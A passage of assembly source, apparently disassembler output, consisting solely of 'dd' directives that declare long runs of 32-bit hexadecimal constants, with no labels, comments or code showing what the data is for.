dd 0A0CA7107h, 0A60B7D28h, 0C1702538h, 402A6EF0h, 99AF9E2Ch
dd 0A600B778h, 0DB906FD6h, 0A35B9648h, 0E641A68Fh, 0C10400B2h
dd 0C9A48675h, 2F009B5Ch, 0AB827742h, 335EDCAh, 7233E17Ch
dd 91002D48h, 21A7C80Fh, 0E302BD4h, 0DAAD0318h, 80C7E2A5h
dd 58868FDDh, 236FDB00h, 2ADF6235h, 0BB080277h, 541FB578h
dd 0BF4C4F0h, 0C59E0600h, 0FBECDC1Dh, 80EE25AEh, 41C9A400h
dd 7774495h, 0CD852E00h, 5C53D7A8h, 24D0070h, 513B04BFh
dd 5F0005D8h, 679C06C8h, 7A99D8Eh, 89BD7264h, 0A0DD206Fh
dd 4C076BCFh, 44F6A58Bh, 0E7997120h, 0B2D84C17h, 0DABDFE00h
dd 5C45807Bh, 3C1FD4Ch, 0C05DECCh, 58BEF8CEh, 35930083h
dd 141EF636h, 0FB001209h, 0CFACA747h, 0EC319EBh, 3E1DC015h
dd 949C6121h, 4C142481h, 0BD008F78h, 6427703Ch, 97128Eh
dd 9BA711B9h, 546D811Bh, 55CB181Fh, 0AB076E93h, 53301397h
dd 51664Dh, 28783206h, 7645A6F4h, 0A501BF7Bh, 6F10F33Ah
dd 59D0F227h, 73460B2Bh, 0C880709Eh, 0BA05FF60h, 245DF000h
dd 438CAF58h, 12ED77DAh, 5C25A440h, 54910014h, 0A5907A0Ch
dd 3FC6F0A8h, 0F9CC6018h, 4AE4D11h, 29CDA954h, 0ED90D018h
dd 1307621Fh, 0C1E8834h, 5A646089h, 298F8B5h, 3BC3AE21h
dd 84A0E5B0h, 0D17F459Ah, 29006772h, 0DC18196Dh, 0FEF9D647h
dd 1FA3A44h, 0BF6CE980h, 57FB658h, 2F00C571h, 0E1F40476h
dd 1D7F2ABh, 825DE4B8h, 6CA6D41Dh, 0DFC800FCh, 0C4DA876Eh
dd 497C047Fh, 80AEAB6Bh, 0FBF4324h, 0B2E7AF00h, 0D480B851h
dd 8B710072h, 0C6884581h, 961C0F9Ch, 0CD80CACCh, 0DC12C5FCh
dd 18EA7CAFh, 0A423B7F2h, 0D1002488h, 349A3D2h, 2AAFCE5h
dd 5435B407h, 1DC0DDC0h, 5D25E9A8h, 0DB8CB82Ch, 93CB0003h
dd 0C1A4CFF4h, 7A00CA31h, 65BEBB47h, 7E33566Dh, 4B0B00AEh
dd 0F4264406h, 0AF38FA2Eh, 54FF00B0h, 0EFB3EB93h, 0C70800B2h
dd 0C3828758h, 1900E646h, 57CE2CBEh, 8F6EDEh, 1058A4C1h
dd 25462943h, 271DA51Eh, 0DE6980C0h, 6AB5FAh, 31CB62B2h
dd 4E193E7Ah, 1C257B00h, 13F96E9Bh, 72A00D3h, 0C2B98739h
dd 0BB007D80h, 45185BB4h, 0D46ECBh, 5961E01h, 0E1D3D83Eh
dd 127DF348h, 14D22A41h, 0EBE11750h, 0B82823B9h, 33A3F3Bh
dd 0C89AB312h, 0C4837308h, 838E474Eh, 0A2765384h, 40F520A8h
dd 0D0F912D6h, 1C7DF304h, 807A8900h, 0B331BD46h, 822A2894h
dd 77D01299h, 2BD480F7h, 0E0BC0E10h, 2FB15240h, 1DEDB895h
dd 87130C51h, 204BBBB2h, 10451D29h, 18704C96h, 5877308Eh
dd 91CCDF40h, 405C0096h, 3C2CE3AAh, 750E541Bh, 0DAD4474Dh
dd 0D7525BB0h, 0D33EC020h, 0B48B947Bh, 138FAB00h, 0ADD1AC4Eh
dd 0D74D00A0h, 0EBBCE98Ch, 5300B83Ah, 0BE5D57D2h, 4099E1h
dd 54E77AAFh, 0E97C2E3h, 8DCC1E1Eh, 36B95A07h, 0F499CBD0h
dd 9FDE0070h, 0C6FC55C5h, 4C0356F9h, 5C7A21A1h, 95D90BFh
dd 0F3B00BBh, 0FC19B765h, 0BD00D8E6h, 0BAE855Eh, 1F87CD75h
dd 0D2C004h, 0C8304E54h, 6B001C1Eh, 400834B1h, 0A869C8Bh
dd 8EABEF6Ah, 2299809Ch, 6D77201Ah, 2F9A4300h, 90A1BBD7h
dd 4E553F4Fh, 693CD580h, 4A732009h, 0EF8BA4A8h, 45DA961Eh
dd 0E0E50141h, 3868B58Ch, 80CA3300h, 9838B266h, 31306360h
dd 48588A7Eh, 843078CDh, 536AB228h, 91DDCE07h, 41A3C8CCh
dd 8960FFC9h, 72EC52h, 0D25781F2h, 7A9DA8FAh, 7E1C2900h
dd 0E3185D6Dh, 4C723027h, 0EFC6DF91h, 0DDBB4F0Eh, 9ADC2043h
dd 7690FAA6h, 0D80C0311h, 0CA82D07Bh, 7AC9680Eh, 3240FE7Dh
dd 1053707Eh, 0DB231E64h, 0B5620133h, 0EC4AB025h, 80C05F01h
dd 0DD8CD993h, 9A7E00E3h, 19236A34h, 1A7B50D3h, 0B2100095h
dd 3C11D75Ch, 0B3038C47h, 34538FF0h, 169719A0h, 1D1A4E00h
dd 0E680121Eh, 66D10301h, 56B93AC1h, 21450830h, 3E667F8h
dd 0A12B20C2h, 1800323Bh, 0B292355Dh, 0ADD094h, 144B418Ch
dd 0B369A00Ah, 7488E00h, 5CB4DA82h, 341A0D2Ah, 885089CEh
dd 60170B80h, 0D0FDE67Ch, 44228646h, 0E663F403h, 10282D40h
dd 60473450h, 3C71E89h, 6F647D22h, 0DDE3182Ch, 907CD150h
dd 4220C418h, 7BDBC18h, 900461ADh, 0C8F1B1Dh, 0AFA035CFh
dd 986512DDh, 91E3300h, 0B1B07125h, 0E414002Dh, 2187045Ch
dd 5900646Fh, 68CEE71Ch, 0F8CC2Bh, 538804Dh, 3144E2EAh
dd 89866C1Eh, 0A50DA980h, 74CB7B1h, 595E1D91h, 703BB78Eh
dd 0E871BDDFh, 9D79CC0Bh, 0EB83008Bh, 126D9A37h, 0B26462h
dd 7DE03473h, 4C75A4BEh, 83F4DF07h, 0D6E0D0D8h, 0B82CE4h
dd 60A68189h, 0EFD394DCh, 4D958600h, 0FA53446Dh, 0CAAE0040h
dd 294ECEFEh, 0C71DC24Bh, 0D7D4153Eh, 0D5D3E004h, 11C860C7h
dd 0EFBF8A9Fh, 1A830202h, 407048FFh, 2B2CFCh, 0BB11E20Bh
dd 37B99CF8h, 624E5300h, 0A2939E35h, 6452014Dh, 1E54AAD7h
dd 97588491h, 5E003ABAh, 0DC6DB8B9h, 0F3A83800h, 6424F120h
dd 960B01D4h, 70016136h
dd 1520815Fh, 0E8ECDDAh, 2511204Fh, 0C94981D4h, 0B30077E8h
dd 30C7B8Ch, 0D9D6E91Ah, 0A4C918A8h, 8EA62065h, 511697Ch
dd 0B700E0C7h, 5F37DE86h, 6A33B97Ah, 0CCE0956h, 0DE8E9721h
dd 6100AAF0h, 17BE56D3h, 32D1482Ah, 0C5870C8h, 2BF16AE3h
dd 577DC8E2h, 9DDD6500h, 3DEFE997h, 68EA311Ah, 504AFF51h
dd 0E94DAC0h, 0B600F7E6h, 7D51D12Eh, 0A1438Fh, 92A254CFh
dd 83E2BB61h, 3096F95Ch, 0F7983972h, 5399024Ah, 83135E2Ah
dd 55A60C80h, 0A41E7F48h, 0CCA87E9Bh, 0F6FEB10Eh, 560CE018h
dd 15942959h, 0B0E81E15h, 0D5ED701h, 0FCB58FAAh, 0BD66938Ah
dd 214509h, 70AA057Eh, 5638427Fh, 0EB6C610Ah, 0A284FCEFh
dd 16045C75h, 263090CCh, 0C500F850h, 0F7CF7185h, 0A7F5C9h
dd 98E8812Ch, 22615DDEh, 94BFC528h, 0E413A006h, 1D50351Bh
dd 24954F9Ch, 43E18E54h, 1628CE6Ch, 0C1611960h, 12206E6h
dd 35D29105h, 53481E25h, 5E817DDCh, 0E3EE052h, 0CDE6CCA0h
dd 4EFE2518h, 6A4BD1h, 0E118E955h, 60A2EB7Dh, 22EEFB00h
dd 0A0768911h, 732A02A4h, 8F5AA73Ah, 6111989Dh, 838E3A80h
dd 87074907h, 2A6037F9h, 514E9411h, 2D48E880h, 0AE98EBA8h
dd 0B8C22778h, 6086BB42h, 90C1E4ECh, 0D52C00B4h, 8D4F070Eh
dd 80A91E16h, 8321F1B5h, 3ABCDAA8h, 54B1309Ch, 21349321h
dd 0DE1B610Eh, 0E7FDA0FFh, 0A054F143h, 0F7A0B5A4h, 406002CFh
dd 6A7D8BE0h, 786EB8A0h, 0E70395FBh, 0CF195A74h, 7708309Ch
dd 0FB902921h, 0BA42F900h, 1D998CB5h, 4CE84CB9h, 910E3800h
dd 0D029562h, 8839FF2Ah, 0F7074200h, 0E21A9E48h, 228492C5h
dd 170033FEh, 0FBD24A13h, 0B0E1ADh, 8A1E59F5h, 0A65DFC9Eh
dd 0D91D1533h, 386AE0A4h, 43D101E7h, 77369701h, 13FC208Eh
dd 84A6312Ah, 0B1797D30h, 234681h, 0AB89C564h, 9002F8F5h
dd 57398B0Fh, 0E875C158h, 3431A69Fh, 3A152050h, 0C7EEAF8h
dd 0C3C80F86h, 0A40058B1h, 0DDDCC631h, 0E8864B0h, 0A0915AA1h
dd 38D0EC40h, 70E8050h, 2AF03F8Eh, 3407B0DBh, 0A339E949h
dd 0C5450B60h, 1056FC70h, 0DD030042h, 0C09F2AA7h, 889A74E9h
dd 6A2828C4h, 65AB0840h, 0A47C4D43h, 24364724h, 50E47D00h
dd 35E62FAh, 0C9D44E07h, 4009674Ch, 81962770h, 0B912A6A8h
dd 3D0041DEh, 9FF7BC50h, 0A8B869DFh, 445D0C90h, 0D3213860h
dd 0A3C9F8F0h, 77D8A964h, 692BEA10h, 3E506E64h, 805870C7h
dd 298FBD7Dh, 9F484FDEh, 4BE781E4h, 0D300C911h, 0D167CBA0h
dd 398CC658h, 1D760429h, 0C122E56Dh, 15EFB30h, 0D2DC9879h
dd 3E9A1394h, 0A50C314Fh, 0BF2841CAh, 236822B4h, 0FB740187h
dd 1854E809h, 8C258870h, 0CB1CFB01h, 426576C1h, 30F054DCh
dd 0CE50B02Ch, 0A60695FAh, 2FD37DAEh, 1FF921F8h, 3ADEEB04h
dd 0E2C0813h, 32E1A3C7h, 0CF18A25Fh, 48BA088h, 684B07DEh
dd 0BD97C205h, 0B49CC490h, 0A6A2D102h, 0A04FFFCDh, 0D80588C8h
dd 416D00BFh, 4932ACC6h, 65025FC0h, 1112A4CDh, 72880724h
dd 0A86817FBh, 7A1FE77Fh, 0B3039C18h, 0B09FF1E1h, 3F56736Ah
dd 704CF95Ch, 0B013423h, 0A9B575AAh, 78886218h, 8CAA0003h
dd 8804138Dh, 0CE249031h, 0C4C87CAEh, 774674h, 0EE95BD4Ch
dd 125F4729h, 1E6E80E9h, 86B88038h, 6716A0D1h, 0E7533403h
dd 2C8512Bh, 41853FF0h, 389089E0h, 9710FB8Ah, 2BE064E7h
dd 1302FB82h, 140DFAA4h, 1814E0B5h, 0E805806Fh, 0A63C5AE8h
dd 0A471A8FBh, 1C59D1EEh, 23C848F8h, 21310190h, 1832A4A3h
dd 395E8851h, 90622100h, 0F01B3F47h, 4C8D0330h, 342E9BA6h
dd 9E876000h, 132FFDE5h, 96C102BFh, 7362A49Dh, 6038D084h
dd 1679A997h, 2C8B09B5h, 0F037C40h, 1CA760AAh, 0B3699825h
dd 0E2EB0EBCh, 3AECBEA6h, 48C8CC0h, 0A49F212Dh, 21CD62D2h
dd 0DC213592h, 0D4022D3Bh, 0FE3A433h, 0E630483Dh, 18110C16h
dd 5F312715h, 8014D200h, 0D1C9C023h, 565300C7h, 0A326B93Ah
dd 440158F9h, 808C5112h, 0E425992Ah, 0C0702041h, 1C574400h
dd 8048F22Ch, 72932402h, 19CC839h, 0E8895D54h, 3E4E9B0Ch
dd 0BF30E018h, 0BE8D5871h, 261D2ACFh, 0A44F1588h, 0CE07FC69h
dd 0E3129EEAh, 20035E73h, 37A86D77h, 0E97802C2h, 5D07202Bh
dd 62206C64h, 0B9BE0C3Dh, 9E7868E0h, 35BFA504h, 90D750F8h
dd 770818Fh, 0D8427C48h, 2098313Bh, 156B5A5h, 4622D8h
dd 0F5AA1079h, 0D9353EF3h, 0A685D300h, 0DAFC3A9Ch, 6784F677h
dd 5449C15Dh, 60A28063h, 1A00FB72h, 0F7A301E3h, 15A0D2E9h
dd 0A05069C4h, 0C8340C01h, 2021775Eh, 48C88C8h, 0E80AFB75h
dd 2274626Ch, 0A0408D24h, 1AEE104Ch, 0F0ADECA8h, 9EB8E573h
dd 89726603h, 0A92E4D4Fh, 7CC1350Bh, 40F27FD1h, 8058AB9Ch
dd 8714B948h, 7CD8DE41h, 0C9605720h, 149D1D98h, 34807311h
dd 0DC131876h, 0D6C60C0h, 28E95E65h, 30D05DE8h, 0BD315C84h
dd 200021A5h, 0C36ECAEDh, 0C4D0F8h, 0F760A942h, 0D202CFBCh
dd 0A897EF1Eh, 807C5101h, 3060FBAFh, 0F31B4191h, 957D6AA8h
dd 564EB207h, 0DCD05904h, 0C0608478h, 0FE6D7B69h, 0EC0111CEh
dd 49EB0A47h, 0F9807FB9h, 0B4E68D1Ah, 14B06292h, 85070C46h
dd 0F85F30DEh, 9600D1CEh, 0E43BDE8Dh, 2BFEECDAh, 0E11AB312h
dd 1C9070D7h, 17F6A1h, 0EEBA67Ch, 0FE641B94h, 0D73540h
dd 2014F205h, 2C9A40Ah, 6692B500h, 0C80DA08Dh, 1449CFDEh
dd 0AA00FABCh, 40EBD6B0h, 3C2450D3h, 0E30270C4h, 8028355Bh
dd 0C0F86D88h, 1E18C393h, 690049E8h, 60406BFFh, 0D072DFh
dd 0BBA62820h, 35CDB4DAh, 93428900h, 0F79881A1h, 842B2636h
dd 60356470h, 1074AA0Ah, 0C88AB1B5h, 2778063h, 0C904E5AAh
dd 1F95803Fh, 1E82C11Dh, 60D6BAFCh, 81B96824h, 8439C6h
dd 121DAF0Eh, 0FA73F8h, 4A7FEDD9h, 2A59BEB4h, 0C326EE00h
dd 29DF470Bh, 58AD4DCCh, 30125539h, 8A800B5h, 0E9D5DCBBh
dd 6C024099h, 35DE9Bh, 0CF1A0ED4h, 402CCA6h, 95DF6C18h
dd 5CE4EDh, 260D145Dh, 98BAC48Eh, 0CC98AC92h, 0FCE40614h
dd 2AA103B2h, 506EE294h, 8C0F1858h, 31DE8404h, 0C2628A5Fh
dd 0DE8CA120h, 3F640468h, 0A7B83050h, 0A0E4A1F4h, 6607720h
dd 84E949CDh, 0EB00F84Fh, 0B48B1FBAh, 6E1620E1h, 0A7E7C9C9h
dd 9D29008Ah, 0B03D084Ch, 0E0C480FBh, 5DFE9A6Fh, 7564264Eh
dd 50F208DCh, 2CDE7913h, 217D9C84h, 901AF0BDh, 0D4088420h
dd 0E8E56262h, 0E60C2E4h, 50186D10h, 67D0A4F0h, 15CD2442h
dd 4674289Ch, 0A908791Fh, 0C461B58Eh, 0C7D4044h, 3B2027AAh
dd 0C101A3D1h, 0D92A87FAh, 15508AC5h, 83BBBC28h, 84D8F6B2h
dd 47F190AEh, 0F0050443h, 8E20E241h, 0C06188B0h, 884BCA68h
dd 3C00C5E4h, 0A43D6FB6h, 0A05557EBh, 0C151FECCh, 7F0C8531h
dd 93D3C074h, 71D870EBh, 0C2D82750h, 967831F2h, 733015F8h
dd 9E1CB06Bh, 34DE00A2h, 23E1B19Ch, 0C600BAA7h, 0CCBCA92Ch
dd 3CA9786h, 0B9B488B6h, 0D1C05B17h, 99005D19h, 989204DBh
dd 987123C8h, 0ABB1006Eh, 5EC95563h, 6B009736h, 0D72A0EE5h
dd 391EAEh, 0EB8380EDh, 0C60266C2h, 59E25600h, 7D1F7540h
dd 0F5170045h, 8BA73D83h, 24733F0Ch, 0DE498C00h, 6CF83E4Ah
dd 0F9D10047h, 0E7E84869h, 41C04F3Ah, 0FC7E6118h, 0B42142Ah
dd 0DE00ADABh, 0ECF16399h, 4000ACA2h, 36754B14h, 87CDBCh
dd 0DFF83038h, 0D9B3E0FAh
dd 86D5F907h, 9CA00B8Ch, 0C4FD16h, 0CF9A7C96h, 709353ADh
dd 2055EB00h, 7F82AC36h, 0FF1034Ch, 0A85679ABh, 8B8185EAh
dd 0D0731D5Bh, 2401D6C1h, 0DD448A0Eh, 0A88E5865h, 9EE006B6h
dd 0DAF18549h, 225C6400h, 0CF65E3B3h, 0A2F00D7h, 6DF4339Fh
dd 137BFB4Dh, 3AFE8302h, 0A0885C70h, 52C133F4h, 907C58h
dd 72106467h, 3E2CF031h, 0C03203Ch, 11147ECBh, 0D84F2AEBh
dd 337D4C94h, 0D485E407h, 8EE5A029h, 0C74C4525h, 0A4DC878Ch
dd 0AC8D014Eh, 95CD0153h, 9DA3F8h, 0BBB1499Fh, 0AFD26085h
dd 86696700h, 5F127482h, 513F00BAh, 46369FADh, 58C01E87h
dd 0A3EE83F2h, 0C07566h, 81522977h, 89584F6Bh, 5741FB09h
dd 30E70086h, 46765E8h, 64DBCFB7h, 0B33E808Ah, 52004119h
dd 0F3427EFEh, 0FE1A4C39h, 0F563014Eh, 0B84DD17Ah, 9CD9C451h
dd 471FD501h, 0F6EA5855h, 9248096h, 2C0054D7h, 0C2093143h
dd 2D194D00h, 0E3DE9940h, 1F34AA9h, 3472BD2Ch, 5B8EECEFh
dd 841EBC01h, 0A14879F4h, 58CA560h, 0C8D7B247h, 90AC007Fh
dd 0FA1243BEh, 0DBC57A1Ch, 0B79F6C07h, 0A77750E0h, 68C8DC94h
dd 96A3FECh, 0F5CA2C00h, 514041Ch, 189AC900h, 912772FDh
dd 0C3CB009Bh, 0F9901589h, 6705C81Dh, 6B7654EFh, 180B4h
dd 0E3986916h, 60FEB919h, 7F57C10Bh, 0C7A83FDh, 542B886Ah
dd 5F21DCDh, 81E0876Ch, 3B43AE5Eh, 0B8004FFCh, 37AFA2A4h
dd 0FF5EFFFh, 9205DDFDh, 2050E806h, 0EA9EB000h, 0D99F4677h
dd 66AE3D8Ah, 0FF87CC81h, 8FDB2F8Bh, 80F801D8h, 0FD8D5645h
dd 0AD4002CDh, 0BBC7E9E0h, 9B9E2040h, 73BE0100h, 65290896h
dd 3DF40742h, 0D050F720h, 0BAE17FE9h, 14CA048h, 0B0678CC2h
dd 0DC47C6B2h, 0B7481059h, 0FE4000BBh, 0AF39A292h, 449153A1h
dd 50A46202h, 8EB84009h, 961B03BAh, 18821DE0h, 2C9A9290h
dd 0EE4E0700h, 0B591C59Fh, 7067001Ch, 41CB26B9h, 463BCD77h
dd 6F290015h, 2AD1EA24h, 736400CEh, 5F8DB982h, 4000FC90h
dd 2D397E1Eh, 5687DEh, 8CC42B16h, 1727F4D7h, 0F95EE200h
dd 4900820h, 0E1C200CAh, 0D0FE7AADh, 0BD00262Ah, 0DD492D33h
dd 0E4205AD7h, 9DFF30B8h, 899C4A21h, 0E3924102h, 63A52D53h
dd 20111EC0h, 0DCC81F32h, 0CA5440FAh, 8598D67Fh, 0AEEF8603h
dd 0C0D5045Ch, 126DE0h, 0A0F449E3h, 396EF02Ch, 181C7026h
dd 0E8274000h, 7532A42h, 92DCD236h, 7565107Bh, 6005A3Fh
dd 540908FEh, 2D7C09Eh, 0B2F36E38h, 9AE05BCFh, 1400B52Ch
dd 9DB3C8CAh, 0BCEAEh, 0D4BBCBAAh, 7202E9F9h, 0E584CC02h
dd 805DDB80h, 92FB8D88h, 0FA6C2639h, 4B690702h, 6E7AC032h
dd 0ECEE740Ch, 0AFB8B750h, 0CB013900h, 29E157C6h, 0CCDA0703h
dd 0A0866BD2h, 63BCB494h, 3300B0B2h, 34CF6061h, 902BE962h
dd 0FC420658h, 11F51D55h, 326DE100h, 0DCA25E19h, 0C7560071h
dd 9AEEC3A9h, 0DF4E2F7h, 23ED5507h, 534EEAF1h, 6D27C403h
dd 0E8FAE21Dh, 729434h, 1E995BC2h, 4784CBD8h, 80F8E2BFh
dd 4590B61Ch, 0FD5D002Fh, 801497C5h, 7A00F498h, 5F49A1F3h
dd 48185699h, 300F66Ah, 0F18DC2A6h, 0A001C0B8h, 0D190D5D4h
dd 0DCF85E1Ch, 38710009h, 0BCF0B1AFh, 91007B4Bh, 3455CC6Fh
dd 3E1F2Dh, 41E2CEADh, 7D5077ACh, 668471Ch, 55386187h
dd 4F700C50h, 818C0EB2h, 0B320B11Eh, 5EE5717Dh, 54F76501h
dd 670D6F5Fh, 2361E8h, 73FE2D68h, 98AE139Bh, 329A7B00h
dd 0C0C363D4h, 3966070Bh, 0C0A7512Bh, 176CCAC1h, 0F43EFE00h
dd 76B9FB7Dh, 513A0EDBh, 0B42361D6h, 0C2002B29h, 0D8478085h
dd 0CABBF5h, 9E7292C4h, 97B327EBh, 7415C500h, 0FD93A7EAh
dd 66C800CEh, 1949D8B6h, 961E6537h, 6C0F8DCh, 1A126E5Ah
dd 0CAB21E78h, 29D3C0AEh, 573D20D8h, 0F4884E0Bh, 0BF4B08A1h
dd 0E065AA0Eh, 5F3E5541h, 7D4602DDh, 7C4D2F1Ch, 0FDE783F7h
dd 0A26A010h, 796C00DCh, 8F556441h, 5F495EE3h, 98240014h
dd 0DDFF338Dh, 58070043h, 6081F82Fh, 9A0B6414h, 9121DAh
dd 0A2682A44h, 80F494DFh, 7DF555A0h, 7130330Eh, 0ABAA3EBBh
dd 0B8B40E52h, 0B5C04588h, 0C9A75B87h, 4D558B00h, 4B676958h
dd 47DE656h, 9259683Dh, 877080ECh, 7C0B78EDh, 0C15E3E96h
dd 0A53012B8h, 0E0CD32D1h, 48038210h, 7A21208Bh, 0CDAC627h
dd 0BB20F0h, 0D3836BD9h, 0FA568AC9h, 0CA41849h, 0C06FA2FDh
dd 5AA400E7h, 3FDF289Ah, 79618A69h, 0B96AD439h, 3881B921h
dd 343A94C7h, 6DD0404Eh, 9300280Fh, 0B1885495h, 18FD10h
dd 0DD5CAD24h, 0F74EE03Bh, 0A163F303h, 0D0604CB4h, 0FF91B8h
dd 47D476BFh, 3652D7B1h, 6EB56200h, 7E544688h, 7FFB00A4h
dd 9B84DE64h, 58009642h, 6A757BBh, 3AA6D72h, 0A8D1A23Dh
dd 53906E50h, 0CCF81289h, 103EA8BEh, 571DB9B7h, 5E58401Ch
dd 2D2138DCh, 93A69CA0h, 0F418CA5Ah, 82192020h, 9C80C854h
dd 0FF2D9DACh, 0E9D40C5Fh, 0F5206CC0h, 18C82E4Ah, 0E4090305h
dd 9B46F91Ch, 70FCC881h, 0DC008648h, 6B25F4F0h, 5AE94870h
dd 0FC540060h, 52655BE1h, 2A9DA8C0h, 0C7468FF4h, 0A0205688h
dd 7773817h, 0C9D44F0Fh, 94B49204h, 0F3293DE8h, 0E9925A80h
dd 0B8032EDFh, 1B040900h, 61C32258h, 1CE073B6h, 8331BE2Ah
dd 36D5242Ch, 0F748E2B8h, 0D60093F6h, 0A8DE30EDh, 4EC09Fh
dd 0D064ABB1h, 9B5C9408h, 60CFD500h, 9F3D9870h, 62630440h
dd 0ACAF0A9Eh, 27580560h, 55C0E5A7h, 4B0E3Eh, 0AE73C1E2h
dd 4E98B9EDh, 1EFC162Eh, 0AC454A1Ch, 42C006C7h, 0D9A550h
dd 0BEB8CC04h, 1E8B611Bh, 53923707h, 0B3D0F6A0h, 99F7ABh
dd 5FB8E3D9h, 1366502Eh, 54D26C00h, 0A1E8332Dh, 4C09005Bh
dd 0E2DE7D6Dh, 0CAE0C3ECh, 0C5384660h, 7E1B3FDAh, 173F078h
dd 8AF44DB5h, 0C85158C0h, 0AA6032A1h, 0BB486360h, 0EF491E7Eh
dd 0EB4607D2h, 71A8D0C2h, 53008E94h, 0E7360DA6h, 3F4018h
dd 9A11E173h, 4490E88Ah, 992EFFF2h, 13CD6CBh, 594A6341h
dd 0F3EC32ACh, 0D6900B8h, 9BEFD4D0h, 0A8008458h, 0C1B5B113h
dd 306676DBh, 1718B73Ah, 15066B69h, 0B4EC5D63h, 50886030h
dd 0E4DF5F48h, 1EB31901h, 0C9688569h, 3AAE6A00h, 0F72EBB01h
dd 3EE21977h, 1DEE23D0h, 0F7665C9h, 0E5804799h, 2C4DFE64h
dd 0DB79D000h, 0D91602EDh, 4C3B3FE8h, 8F1F171Fh, 25606D52h
dd 9B99FED4h, 240382F6h, 83D83D96h, 0B791D311h, 2E35CC51h
dd 1BE556E8h, 48DB1886h, 3D8AD9E0h, 0FB70C118h, 9BC811h
dd 0C96A03D4h, 797FD537h, 48B008DEh, 0ECB3BED9h, 0E8FB01A0h
dd 39E540AAh, 9FFD4A1h, 10D0BA30h, 31ABD855h, 23B11445h
dd 0AB2CCFEh, 39DBED03h, 0A3DA9502h, 56210087h, 0FC8A2405h
dd 0E914FF1Ah, 232440BAh, 240303AEh, 62FC0A9Bh, 0D0512788h
dd 9B90A024h, 11462918h, 5EDD19h, 3931093Fh, 0D506EAB9h
dd 0E9FD30A0h, 10CD6A30h, 740318FCh, 2E4F0749h, 0F063E673h
dd 4B4E258Dh, 4A5DB800h, 593E701Dh, 1C021F43h, 0D31E00F3h
dd 92C5B150h, 99F6BF00h, 0F01939CFh, 0A9E0C4h, 82A272F5h
dd 7064B08Ah, 9A76CD00h, 0C08CF023h, 0B471F07h, 5F4BC08Bh
dd 0E62DA54Dh, 45F2CD00h, 648F193Ah, 0D1FB0071h, 0F42E8EDFh
dd 17005E52h, 56B352Fh, 3873CB89h, 71803768h, 2D27F48h
dd 4500C9E5h, 3B26E8A0h, 39449Ah, 1668E451h, 533FB2EDh
dd 0E1EFF200h, 0C3FCF1F5h
dd 0B8F800EBh, 0A02D321Ah, 16638AC7h, 0F0E308h, 0B941CA20h
dd 216A336Ch, 66E86E0Fh, 0F20B83FAh, 308FE67h, 0D77405FCh
dd 3EF88C76h, 0E80CB6BBh, 20C4086Bh, 0F74737A5h, 4C67C771h
dd 0B90CE641h, 11F9CAB0h, 3418009Ch, 0D77886F7h, 80667FD6h
dd 21B808h, 0ED34113Dh, 0C995063Bh, 4975CB00h, 7CC897A1h
dd 28FB6FFFh, 9631AE8Ch, 0ED5ADE00h, 25BB9D6Bh, 1ED80649h
dd 36D4AE52h, 0CD5944Ch, 0C9C286E7h, 787D0063h, 42AA16EDh
dd 19C3C867h, 90883480h, 1F46AC8Fh, 0F85A86F6h, 83966607h
dd 400B402Ch, 31C9BC64h, 0EACB00A3h, 19F68544h, 8B542FFh
dd 81218055h, 1AF99BB1h, 48590016h, 0A5655A49h, 0C380E045h
dd 292C78BBh, 69CF93Dh, 4157671Fh, 7CEB0200h, 10D55C9Ah
dd 0DA8D0082h, 0A99E15C0h, 2A001E27h, 164FBAF7h, 3AEC42A3h
dd 0EE00AB13h, 0F424DACAh, 69C0B3E4h, 1DDDFA19h, 5F2700EFh
dd 0A551544Bh, 0C92AABB2h, 433DE007h, 0EB0D00AEh, 3D3B1C2Ch
dd 51AA005Ch, 346611F6h, 0D32A10FCh, 1200ECDBh, 6998FED5h
dd 33F7A018h, 0E3084070h, 0ED2F2100h, 9BDB35FEh, 1828FAA7h
dd 0E9F6EACFh, 75006C58h, 955B3297h, 12F91DFBh, 54F049A4h
dd 49677348h, 0E714F06Eh, 9F7D179Ch, 4FFDCE00h, 55F88F8Dh
dd 29CA606Ch, 83CEBF2h, 328B573Dh, 300CB001h, 0AC08FEF1h
dd 589DF869h, 0FE00E91Bh, 0ED5DEFF0h, 7AEE071Eh, 0C1677BD9h
dd 0D3DFCF61h, 0BF319CECh, 0FDCBEE01h, 37D4B04Ah, 0AB6F003Ch
dd 1F9BA5CEh, 5C09DA8Fh, 30E2F29Dh, 11B8F7C4h, 88453219h
dd 40C180EFh, 0D69201B9h, 45007EE6h, 3DE2A9Fh, 120ACB5Bh
dd 6B2EF0Bh, 99335414h, 4367DC1Eh, 0BB632B40h, 3A341252h
dd 46020826h, 5887512Ch, 0DF98E4E0h, 0F873AB33h, 11FCC1FBh
dd 0B0EA9058h, 90692B33h, 0FB203D90h, 2E2303Bh, 0F51A8501h
dd 0E4A8430Ch, 5423FB4Fh, 0F0829CB7h, 0A244F847h, 0B5280860h
dd 1444890h, 530D03EAh, 1C9043E8h, 68C599F0h, 626F7301h
dd 0C8A33D7Ch, 30A43842h, 43113414h, 0B6881887h, 340D3980h
dd 3D6385ABh, 550111AAh, 0C94FF932h, 52F04881h, 1D807C99h
dd 0D07E5EB8h, 21DD00EAh, 0DEFAB07Ah, 5D125846h, 3848C0FBh
dd 0FEF4C013h, 402169A3h, 0B991A0h, 3FFEEC32h, 50D7B471h
dd 3CDC30h, 0C8C25F3Bh, 0F1DFC338h, 0D3F93313h, 0C32B3C08h
dd 44F99BACh, 885A18ADh, 9B76A47Ch, 0FEE76704h, 0A88C94F9h
dd 686002Fh, 4976BAAh, 7F00FB99h, 115B3BE4h, 30E7C80Ah
dd 6349AF7Ch, 39DE68E8h, 93B65407h, 2218D226h, 0A558FD71h
dd 270545Ch, 0A2C84353h, 276A30B7h, 1EDCFC03h, 867CC93Eh
dd 0C0AFEC79h, 0BE055A29h, 32003AA5h, 5D2D60F3h, 3DFA6526h
dd 0CF0768DBh, 8A498044h, 2467CC8h, 0A2F4A600h, 196227FFh
dd 0EAD25618h, 506F2221h, 39D38F74h, 186A76B0h, 80ED11F0h
dd 3218B8F6h, 0C0B4B11Dh, 0B4B93FC0h, 79D6E403h, 64F2513Ah
dd 6512B061h, 69A2BE02h, 0EC84748h, 7AC0EF31h, 0F6DB0313h
dd 34C0B158h, 3C8E5192h, 57C1F088h, 28703CBDh, 0A299EE80h
dd 69C898A4h, 0F87C01C2h, 8052FD0Ch, 0C968D082h, 0F4BC502Ch
dd 1960B144h, 8623F834h, 71AB1170h, 0BD1C5598h, 84001604h
dd 76B7C47Dh, 40450425h, 88C179E7h, 0D0708B44h, 1F486458h
dd 2C126BDCh, 9BAD8860h, 0A54423F6h, 7D265111h, 21DA02CAh
dd 5C44C9C5h, 7763900h, 0D2F929F4h, 18A5813Eh, 24340A15h
